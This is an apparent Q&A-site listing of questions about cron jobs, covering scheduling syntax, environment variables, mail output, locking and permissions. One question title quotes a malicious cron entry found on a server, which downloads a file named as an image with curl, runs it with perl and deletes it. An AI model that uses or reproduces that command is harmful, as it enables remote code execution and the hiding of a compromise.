Cron is a job scheduler that allows users to run commands periodically.
-1
votes
1answer
32 views
Webservice to perform cronjob, wget and ftp [closed]
Is there any webservice one can use to fetch an image from a site and store it on a remote ftpserver? (The ftpserver has only storage and no cron enabled)
There are a couple of sites doing ...
3
votes
1answer
44 views
How to start a cron job without reboot?
I use a cron job to call offlineimap every 2 minutes:
*/2 * * * * /usr/bin/offlineimap > ~/Maildir/offlineimap.log 2>&1
I needed to kill the cron job to fix a problem. How can I then ...
0
votes
1answer
17 views
how to automatically cleanup failed PHP uploads in /tmp?
How can I automatically cleanup failed uploads?
PHP is storing them in /tmp and all file names look like phpAbCDeF (basically php followed by 6 characters).
I know that I can use the command:
find ...
2
votes
1answer
82 views
bash script - supervisor program
I have to write a shell-script that have to do the following tasks:
-in every 5 seconds it saves:
-how many users are using joe and/or vi;
-if ...
2
votes
2answers
28 views
cron from multiple files
How do I make cron daemon check cron entries from more than one files.
In my project I need to frequently update cron file, so instead of manipulating the existing file I was planning to write my ...
1
vote
1answer
61 views
set up local mail delivery to user from cron script
A line in my cron.daily script not work as expected. I haven't any special smtp mail server in system,
this line
rsync -avun --inplace /oneuser/file.xls /otheruser/file.xls| mail -s "$0 $?"
...
1
vote
1answer
40 views
Why does rsync look for DSA instead of RSA key when run from cron job?
I want to backup files from a server to my local computer using rsync. I can only log-in to the server with an RSA ssh key.
I have stored the passphrase to the key in Seahorse Passwords and Keys, ...
0
votes
0answers
32 views
Cron logs describe a successful run that never happened
I run a daily job that uploads data from one server to another, and today I noticed that it failed silently two days ago - no mail got sent, and the jobs were never run. But when I look at the crontab ...
2
votes
1answer
100 views
Script to check a folder, print the files then delete those files
I am looking for some guidance on creating a script that will check a specific folder, print all documents (if any) and then delete those documents. I would also like to run this script as a cron job. ...
0
votes
2answers
58 views
Cron job not running / not successful?
I have a couple of cron jobs set up to maintain a local copy of a remote database.
The first one downloads the latest version of the database from the remote machine, which runs every day and is ...
2
votes
2answers
63 views
Strange crontab-script interaction (bash)
I'm running Ubuntu 12.04 and bash. I've written a pair of shell scripts that allow me to set an alarm which, after ringing, unsets itself. The first, alarmset, allows me to enter a time and modifies ...
2
votes
0answers
32 views
Use dedicated per-user log file for cron and?
On Ubuntu 12.04 how can I configure cron to log to a particular file when it runs jobs as a particular user? I am interested in redirecting both the messages that go into auth.log and those going into ...
0
votes
2answers
103 views
Ubuntu crontab php not working
Yes, I have read many, many documentations but I can't get it to work. I have a simple single php file which I want to run once or twice in a minute. My php file is called: cronjob_refresh.php and I'm ...
-1
votes
1answer
99 views
Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]
I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
2
votes
3answers
101 views
How can I schedule a python program to run from another python program?
I'm running a Python program on my Linux server, and depending on some external data it has to run again at xx minutes or hours from now.
So let's say it runs at 6 AM, and then it has to run again at ...
1
vote
2answers
35 views
No syntax highlighting when editing crontab
I am trying to figure out why I don't have syntax highlighting when editing my crontab.
I have both $EDITOR and $VISUAL set to /usr/bin/vim:
> echo $EDITOR
/usr/bin/vim
> echo $VISUAL
...
1
vote
2answers
85 views
Is it possible to have a cron job run more frequently than once every minute?
CentOS 6
I have a shell script that performs a task every minute. The task itself only takes a couple seconds to complete and ideally I'd like to have this shell script execute 2-3 times per ...
0
votes
2answers
146 views
Xdotool using “DISPLAY=:0” not works in Crontab
I need to run shell script contains Xdotool codes in /home/z/Desktop/tempo/run.sh. I've tried many ways of DISPLAY=:0 but always not works.
I've tried each of below codes, and not works:
* * * * * ...
0
votes
2answers
117 views
cron ignores variables defined in “.bashrc” and “.bash_profile”
I have defined "SHELL" variable in /etc/crontab file:
[martin@martin ~]$ grep SHELL /etc/crontab
SHELL=/usr/local/bin/bash
[martin@martin ~]$ file /usr/local/bin/bash
/usr/local/bin/bash: ELF 32-bit ...
0
votes
1answer
57 views
top not working
My below cronjob is not working. What am I doing wrong here??
*/5 * * * * /usr/bin/top -n1 | head -10 >>/tmp/load.txt
0
votes
2answers
66 views
Running something in a cron environment?
Cron executes whatever program is sent to it in such a fashion that anything written to STDERR causes either the kernel (or cron I'm unsure) to receive SIGPIPE. How does this functionality work? Is ...
1
vote
2answers
82 views
Crontab entry with hour range going over midnight
Is this valid crontab time specification, doing what is expected:
0 22-4 * * *
Or is it necessary to do something like
0 22,23,0,1,2,3,4 * * *
2
votes
1answer
213 views
Users home path in a bash script
I'm writing a bash-script that will be run as a cron job everyday. Very basic, I was wanting to change the wallpaper daily. I have mint-14 with mate.
The thing I'm getting caught up on right now ...
3
votes
4answers
128 views
How to stop monthly cron output email
Server is Debian 6.0. In /etc/aliases I have;
root: me@mydomain.com
This is so that root emails get sent directly to me. Today, a monthly script I have placed into /etc/cron.monthly has emailed me ...
2
votes
1answer
68 views
Location of crontab job created by non-privileged user
The issue I currently have is someone has created a crontab process to run on a RHEL 5 box, yet has not left me any privileged user information. How can I execute this cron job that was setup to run ...
4
votes
1answer
98 views
Where is the cron timer
Is there any way to access the cron timers and get the seconds left until the next execution of scripts in the crontab or maybe the seconds since the last?
0
votes
1answer
120 views
ipset not executing from crontab
I have this txt files that contains IPs, one per line of file, that I want to block using ipset.
I have this bash script that essentially reads from the plain txt file and constructs an array. Then ...
1
vote
3answers
274 views
Why can't cron job find basic Linux commands?
I'm trying to set up a cron job to run a PHP script daily as part of a web-based booking system. It's been running perfectly for several years on a different Apache server using this in the crontab:
...
-1
votes
3answers
175 views
How to run a shell script with export command in crontab
I have a shell script that exports values of variables when executed. The same values will be used in another script.
How to run this script(test.sh) in cron.
#!/bin/sh
export I="10"
echo $I
I will ...
1
vote
0answers
62 views
External HDD read/write permission changing from a cron job
So, I run an overnight python script that runs a backup of our web data in the /var/www directory, then moves the backups to an external HDD in /media. The script in scheduled in the sudo crontab ...
1
vote
2answers
68 views
Third cron field doesn't seem to work (job runs when I don't want it to)
I scheduled a job like this:
* * 6-8 * 1-5 echo "test" >>/tmp/test.log 2>&1
I expect this job to run only on 6th,7th,8th, these 3 days. but today is 18th, it still runs. What ...
1
vote
0answers
42 views
Lock a script starting daemons
I'm run a script with cron:
*/10 * * * * flock -n /tmp/lock script
I have to make sure that only one instance of the script is running at the same time, and for that I'm using flock. The problem is ...
1
vote
2answers
68 views
Cron creates vim process but does not display vim
Under MacOSX 10.8.2 I am able to run vim as follows in the bash shell:
/usr/bin/vim -c "normal G" -c 'startinsert' ~/.journal
If I put the exact same command in a script:
#! /bin/bash
export ...
1
vote
2answers
177 views
How do the internals of the cron daemon work?
I want to know how cron works internally. Does the process keep checking the current time in an infinite while loop (thus continually consuming CPU cycles)? Or does some function generate an interrupt ...
0
votes
2answers
64 views
Lock folder when running cron
I am setting up my first cron on a Ubuntu Desktop system. I was curious to know if there is a way to lock a folder before a cron is ran and how to set it up? I am following this article. I am just ...
-3
votes
1answer
134 views
Shell scripting for cron job [closed]
I have created a cronjob in Unix to execute an .sh file which will send me the output of an Excel file to my mail id once it is executed.
But now I do not want an email if there is a "NO RECORD" or ...
13
votes
5answers
464 views
How to Find a Fugitive Crontab
A few years ago I setup a cron job to automatically ping a URL every minute as part of a monitoring system (that's oversimplification, but it'll do for this question). Because I'm a horrible person, I ...
3
votes
1answer
78 views
How can I peek at the output of a running crontab task on OpenBSD?
I have an hourly hour-long crontab task running with some mtr (traceroute) output every 10 minutes (that is going to go for over an hour prior to it being emailed back to me), and I want to see the ...
1
vote
1answer
194 views
Use /etc/aliases for outgoing mail relayed by postfix with local domain
I'm using Ubuntu 12.04 with postfix configured as satellite system that relays outgoing mail to Gmail. For sake of example, my registered domain is example.com I want root cronjobs' error output to be ...
0
votes
1answer
75 views
Cannot edit crontab
I'm running RHEL 5.6. I type
$ crontab -e
and all I see is
Killed
I am, however, able to edit a file (let's say I call it crontab.in) and then type
$ crontab crontab.in
$ crontab -l
and see ...
0
votes
1answer
116 views
How can I check if a file is being downloaded?
I have a Raspberry Pi which I want to use to automate downloads to a network drive. I would like to restart the machine on a regular basis using cron (I've heard they're not the most stable of ...
0
votes
5answers
109 views
cron job schedule
I created a cron job using * */2 * * * schedule. Can anyone tell me what schedule this refers to?
I guess it should execute every 2 hours, but it seems to execute every minute.
0
votes
0answers
76 views
CakePHP shell as cron permissions issue
First to say that I know basics of Linux systems. I am familiar with cron jobs. I am using CakePHP shell as cronjob.
The script is using model's method to download pages from site user entered. ...
1
vote
1answer
80 views
Crontab with Github
I want to be able to push a repository to Github at midnight, every night. I know that Github isn't a back-up service, and, in no way am I expecting it to be this - I just want the best up-to-date ...
3
votes
2answers
117 views
Can I use variables in crontab file?
I mean I want to use this variable at "minute to wday" in the following.
minute hour mday month wday who command
Because I want to set these values in some configuration file and want ...
1
vote
1answer
103 views
security concern around adding cron user to web application group
I have a permissions issue on my CentOS 5.6 machine with regards to the cron user.
On my test/staging environment my cron user (picco-cron) is a member of one group - picco-cron, as below:
...
3
votes
3answers
95 views
Mail cron output only when Git throws a real error
There exists a Git repo that is on one server, we want to generate doxygen output for it on a different server. The following command works for me but has the downside of sending a mail everytime the ...
4
votes
2answers
444 views
Scp doesn't work in cron
Yeah, I know it's classic. I've googled it all around, but still it doesn't work. I have the following script:
#First go to SVN repo folder
cd $svnrepos
# Just make sure we have write access to ...
2
votes
1answer
194 views
PHP phantom cron job
I disabled all my cron jobs by putting a # in front of them. Except for one:
@reboot echo "Hi I rebooted"
The rest are:
#0 2,14 * * * /home/backup1/mysql-backup.sh
#0 * * * * mono ...
1
vote
2answers
200 views
Can a crontab job run concurrently with itself?
If I have a crontab job that runs, for instance, every hour, but that job may take more than an hour to complete, will the next job fail to run?

